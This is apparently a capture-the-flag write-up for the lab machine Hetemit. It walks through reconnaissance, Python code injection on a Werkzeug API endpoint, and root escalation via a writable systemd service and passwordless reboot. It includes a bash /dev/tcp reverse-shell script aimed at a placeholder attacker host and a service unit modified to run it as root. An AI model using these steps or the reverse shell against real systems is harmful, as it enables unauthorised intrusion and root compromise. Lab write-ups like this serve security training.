Hetemit Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 3 min read
Hetemit exposes a Werkzeug API on a high port whose /verify endpoint evaluates attacker-supplied Python code directly, giving a shell as cmeeks. From there, write access to a systemd service unit combined with a passwordless reboot rule lets that shell respawn as root on restart.
Reconnaissance
Nmap
Scan all TCP ports and fingerprint the services.
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.0 80/tcp open http Apache 2.4.37 ((CentOS) default page) 139/tcp open netbios-ssn Samba 4.6.2 445/tcp open netbios-ssn Samba 4.6.2 18000/tcp open http Rails app "Protomba" 50000/tcp open http Werkzeug 1.0.1 (Python 3.6.8)
Explain command
| -p- | Scan all 65535 TCP ports. |
| -sC -sV | Run default scripts and probe service versions. |
FTP allows anonymous login but holds nothing useful, and port 80 is a default CentOS page. The two interesting services are a Rails app on 18000 that needs an invite code, and a Werkzeug API on 50000.
SMB
Anonymous SMB access reveals a share name that leaks a username.
Sharename Type Comment --------- ---- ------- Cmeeks Disk
The share name Cmeeks leaks the username cmeeks, though the share itself holds nothing useful.
Enumeration
Werkzeug API on port 50000
The API exposes two endpoints: /generate, which creates invite codes for the Rails app on 18000, and /verify.
4
/verify evaluates the code parameter as raw Python. Confirm the os module is reachable.
<module 'os' from '/usr/lib/python3.6/os.py'>
Exploitation
Python code injection on /verify
Call os.system() through the evaluated code to pop a reverse shell. Start a listener first.
listening on [any] $ATTACKER_PORT ...
Explain command
| -lvnp | Listen, verbose, no DNS resolution, on the given port. |
The listener catches a shell as cmeeks. Stabilize it.
cmeeks@hetemit:~$
Privilege Escalation
Writable systemd service
Check sudo rights and run linpeas for quick wins.
User cmeeks may run the following commands on hetemit:
(ALL) NOPASSWD: /sbin/reboot
cmeeks can reboot the box as root with no password. linpeas flags a writable systemd unit.
[Service] User=cmeeks ExecStart=/usr/bin/python3 /opt/pythonapp/app.py Restart=always RestartSec=3
The unit is writable by cmeeks and runs on boot. Point ExecStart at a reverse shell script and run it as root.
#!/bin/bash
bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1
Write that to /tmp/shell.sh, make it executable, and edit the unit so it runs as root and keeps restarting.
[Service]
User=root
ExecStart=/tmp/shell.sh
Restart=always
RestartSec=3
Start a listener, then trigger the sudo reboot.
The service respawns on boot as root and fires the reverse shell straight into the listener.